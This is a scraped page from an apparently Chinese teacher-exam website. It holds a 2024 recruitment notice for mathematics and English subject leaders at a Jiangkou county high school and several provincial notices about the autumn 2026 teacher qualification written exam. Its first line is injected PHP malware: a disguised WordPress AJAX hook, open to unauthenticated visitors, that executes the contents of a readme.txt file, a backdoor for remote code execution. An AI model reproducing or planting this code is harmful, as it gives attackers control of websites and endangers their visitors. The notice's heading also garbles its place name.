if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州省铜川市江口县高级中学2024年公开招聘简章-全国教师资格考试网

贵州省铜川市江口县高级中学2024年公开招聘简章

经江口县委、县政府研究,为进一步深入实施人才强县战略,着力解决我县高级中学对应学科带头人匮乏问题,全面提升教育教学质量,加快推进教育强县建设,结合我县教育发展实际,特制定本简章。

一、招聘原则

按照德才兼备的标准,遵循民主、公开、竞争、择优的原则。

二、招聘计划及职位

本次计划公开招聘高级中学学科带头人2名(其中:数学1名、英语1名)。

三、招聘对象、范围及报考条件

(一)招聘对象

高级中学在职在编对应学科带头人。

(二)招聘范围

全国招聘

(三)报名条件

1.遵守中华人民共和国宪法和法律,具有良好的道德品行,热爱教育事业,职业敬业精神强,具有正常履行职责的身体条件、无违规违法等不良行为。

2.年龄不超过45周岁(1979年1月1日及以后出生)。

3.全日制大学本科及以上学历,取得相应专业高中教师资格证书,副高级及以上职称。

4.有完整的高中学段教学经历,担任过年级组长或学科教研组长,至少带过3届高三,近三年一直在一线任教,且所任学科教学成绩在同级同类以上学校排名前三名。

5.近五年参加过市级及以上教育主管部门所组织的教学比赛(不含课堂实录、微课等)获得一等奖以及承担过市级及以上教育主管部门组织的教学示范课、公开讲座等3次以上。

6.具备以上报名条件,有下列条件之一优先。

(1)辅导学生在高中学科奥赛(数学、物理、化学、生物、信息学)中获得全国联赛三等奖及以上。

(2)国家教学成果二等奖核心成员,省教学成果一等奖主持人(不设特等奖的二等奖主持人)及以上。

(3)国家教育科学研究成果奖二等奖核心成员,省教育科学研究成果奖一等奖主持人及以上。

(4)在教学竞赛中(不含课堂实录、微课等),获省级一等奖及以上。

(5)省级三名(名教师、名班主任、名校长)工作室主持人或省级及以上教学能手、优秀教师、教学名师等。

(6)具有正高级职称或特级教师。

(7)参加过高考命题。

(四)具有下列情况之一的,不得报名

1.涉嫌违法违纪正在接受有关机关调查审查尚未作出结论的,或正在接受审计机关审计的。

2.曾受过刑事处罚或曾被开除公职的。

3.受处分期间或者被问责未满影响期限的。

4.人民法院认定为失信被执行人的。

5.违反有关规定不适宜报考事业单位的。

6.不符合公开招聘有关条件要求的。

四、招聘程序

招聘工作按照发布公告、报名、资格审查、面试、考察、体检、公示、聘用等程序进行。

(一)报名。自发布公告之日起即可网上报名,报名时须在规定报名时间内提供报名登记表、本人有效身份证、学历学位证、教师资格证、专业技术职务资格证书、业绩材料及其他相关证明材料扫描件,打包成压缩文件(压缩文件名格式为“XX同志报名资料”)发送至报名指定邮箱(373380210@qq.com)。

报名时间:2024年7月30日至8月2日,共4天。

(二)资格审查。由招聘工作领导小组组织专人对应聘者网上提供的资料进行审查。

(三)面试。面试对象为资格初审合格人员,面试时间及地点另行通知。面试由领导小组组织,测试应聘人员的教学业务水平能力、组织协调能力、语言表达能力。面试按100分制评分,数学、英语前三名进入下一环节,最后一名出现并列的,一并进入下一环节。

面试时间:2024年8月13日。

(四)考察。按照有关规定进行考察,对选聘人员是否符合规定的岗位条件,提供相关信息、材料是否真实准确进行复审。根据考察结果,由招聘工作领导小组研究确定一名人选进入体检环节。

(五)体检。本次体检参照公务员招录体检标准进行,体检费用由应聘人员自理。体检工作由江口县教育局统一安排在指定的县级医院及以上综合性医院进行,由体检医院出具体检是否合格的结论。进入体检的人员,如出现体检不合格的,将不再实行递补,体检合格者进入下一环节。

体检时间:2024年8月23日。

(六)公示。经考察和体检合格者确定为拟聘用人员,在江口县人民政府门户网进行公示,公示期为5个工作日。

(七)聘用。公示期满无异议的,按规定程序办理聘用相关手续,签订聘用合同。聘用期为三年,其中第一年为试用期。试用期满后经考核合格的,按程序正式聘任。聘用期满,经组织考核合格,予以续聘,续聘期间待遇不变。聘用期满考核不合格的,不再聘任为学科带头人,只享受教师待遇。

五、待遇和管理

(一)待遇。签订聘用合同的聘用人员享受以下政策待遇:

1.编制待遇。按照干部人事调配程序办理调动手续;

2.薪酬待遇。薪酬待遇由财政工资+奖励性绩效工资组成,每年薪酬保底为20万元,奖励性绩效工资为10万元。奖励性绩效工资由县教育局制定奖励考核办法;

3.住房待遇。江口县免费给高级中学学科带头人提供120平方米临时住房1套,在学科带头人岗位工作时间达到6年以上且达到相关考核条件,奖励江口县城内不低于120平方米产权房1套;

4.其他待遇。聘任的高级中学学科带头人,夫妻存在两地分居需调入江口县和子女需在江口县内学校就读的,由江口县负责解决。

(二)管理

1.招聘上岗的高级中学学科带头人与县人民政府签订任期目标及相关责任书,目标责任应当贯彻党和国家对高中教育改革发展的要求,体现课程建设、教学质量、德育建设、管理创新和安全稳定等内容,注重打基础、利长远、求实效,具体内容根据学校实际确定。

2.任期内对高级中学学科带头人实行动态管理,每学年考核一次,兑现绩效奖;三年期满进行履职考核,考核不合格的不再聘任,只享受教师待遇。

3.竞聘上岗的高级中学学科带头人在任职期间内如有违规、违纪、违法等行为,情节严重的,解除聘任合同。

4.竞聘上岗的高级中学学科带头人,如因个人因素,无法履行合同的,解除聘任合同,只享受同职级教师工资待遇,不再享受其他待遇。

六、工作纪律

(一)报考人员纪律。报考人员不如实填报个人信息、不遵守规定、弄虚作假的取消聘用资格,已聘用的解除聘用合同。

(二)工作人员纪律。对招聘工作中失职、渎职的工作人员给予党纪、政务处分,对情节严重的,移送有关部门查处。

七、其他事项

(一)本方案所有待遇条件只限于此次招聘。

(二)本方案最终解释权归江口县公开招聘高级中学学科带头人领导小组办公室。

(三)本招聘工作方案未尽事宜由江口县公开招聘高级中学学科带头人领导小组研究确定。

咨询电话:0856-6829906(江口县教育局)

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部